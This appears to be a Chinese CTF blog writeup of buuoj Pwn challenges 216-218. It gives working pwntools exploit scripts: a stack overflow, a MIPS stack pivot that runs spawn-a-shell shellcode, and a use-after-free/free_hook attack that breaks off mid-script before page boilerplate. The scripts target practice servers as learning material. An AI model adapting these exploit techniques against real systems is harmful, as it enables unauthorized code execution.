buuoj Pwn writeup 216-220

本文讲述了MIPS、栈溢出利用、UAF漏洞修复与栈迁移等技术的实战应用,涉及远程代码执行、地址泄露、内存管理漏洞和堆栈控制,展示了如何通过溢出攻击、内存操纵和安全绕过实现攻击目标。

216 hwb2018_gettingstart

在这里插入图片描述
在这里插入图片描述
溢出覆盖就好,唯一有个浮点数,网上网站一大把,找一个转换一下就好。

exp

from pwn import *

context(log_level='debug')

r=remote("node4.buuoj.cn","25539")

r.recv()

v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A

payload='a'*0x18+p64(v7)+p64(v8)

r.send(payload)

r.recv()

r.interactive()

217 axb_2019_mips

在这里插入图片描述看这题目,一道mips。
但是其实保护一点没开。

IDA反编译不了,我也懒得下载ghidra,汇编好像不多,直接读汇编吧。

mips的函数调用规则其实看这四句汇编就够了。
在这里插入图片描述addiu就是加
sw就是把寄存器里的值放到对应寄存器的偏移处。

这四句话啥意思。
首先sp寄存器-0x38.就是新开了栈。
把ra寄存器,也就是返回地址的值放到sp寄存器加0x30+4的地方。
把fp寄存器,也就是栈底指针寄存器的值放到sp寄存器加0x30的地方。
然后fp寄存器更新为sp寄存器的值。

一会变量啥的都是用fp寄存器去寻找。

一共三个函数,第一个是main,第二个是vuln,还有一个专门的gadget函数。

首先看main
在这里插入图片描述一进来首先是alarm函数跟三个setbuf函数。平平无奇。

在这里插入图片描述
两个输出跟一个输入函数。
输入看的出来开的栈大小是0x18,因为addiu是加法指令,$fp可以理解成ebp寄存器。

在这里插入图片描述
然后就是一句输出并且进入了vuln函数。

在这里插入图片描述这个函数里面有个输入,明显看到栈开了0x20,然后可以输入0x200.
所以栈溢出我们研究怎样突破它

因为没有开NX,所以我们其实可以直接ret2shellcode,栈迁移来做。
不可以ret2libc,因为没有给libc。

所以就栈迁移到bss上,然后ret2shellcode一套带走就好了。
栈迁移呢做的是我们不太常见的那种,因为只有一次read的机会,所以我们返回地址必须填写带read的函数。但是如果直接写vuln函数,vuln在开始时会有一段开栈的操作,这一下会再把$fp带回来,所以我们只能从这个函数一半read函数处截胡。读shellcode到bss上,然后写好返回地址就可以了。

exp

# -*- coding: utf-8 -*-
from pwn import *

r = remote('node4.buuoj.cn',27128)
 
bss = 0x410b70
read_addr = 0x4007e0
r.sendafter("What's your name:","YOngibaoi")
 
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')

payload = 'a'*0x20
payload += p32(bss + 0x200 - 0x40 + 0x28)
#bss往下拉了0x200,防止一会输入影响bss上面正常内容
payload += p32(read_addr)
 
r.send(payload)
 
sleep(1)
payload = 'a'*0x24

payload += p32(bss + 0x200 + 0x28)
payload += shellcode
r.send(payload)
 
r.interactive()

218 铁人三项(第五赛区)_2018_breakfast

在这里插入图片描述crea
在这里插入图片描述结构还是比较简单的,都在bss上。
ptr指针,最多100个chunk,然后先是100个addr,又跟着100个size。

modify
在这里插入图片描述就是用来往里面读内容。

ver
在这里插入图片描述就是输出
我看半天,我发现这个write不大对劲。
它输出的不是我们平常的“内容”,而实[内容]。

libera
在这里插入图片描述显然有uaf。

因为show的原因,本来可以直接释放八个chunk然后泄露,但是这个就直接read进去got表的地址,write出来就可以泄露。

然后劫持free_hook就好了。

exp

from pwn import *

context.log_level = "debug"

r = remote("node4.buuoj.cn","26075")
#r = process("./218")

elf = ELF('./218')
libc = ELF('./64/libc-2.27.so')

def create(pos,s
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值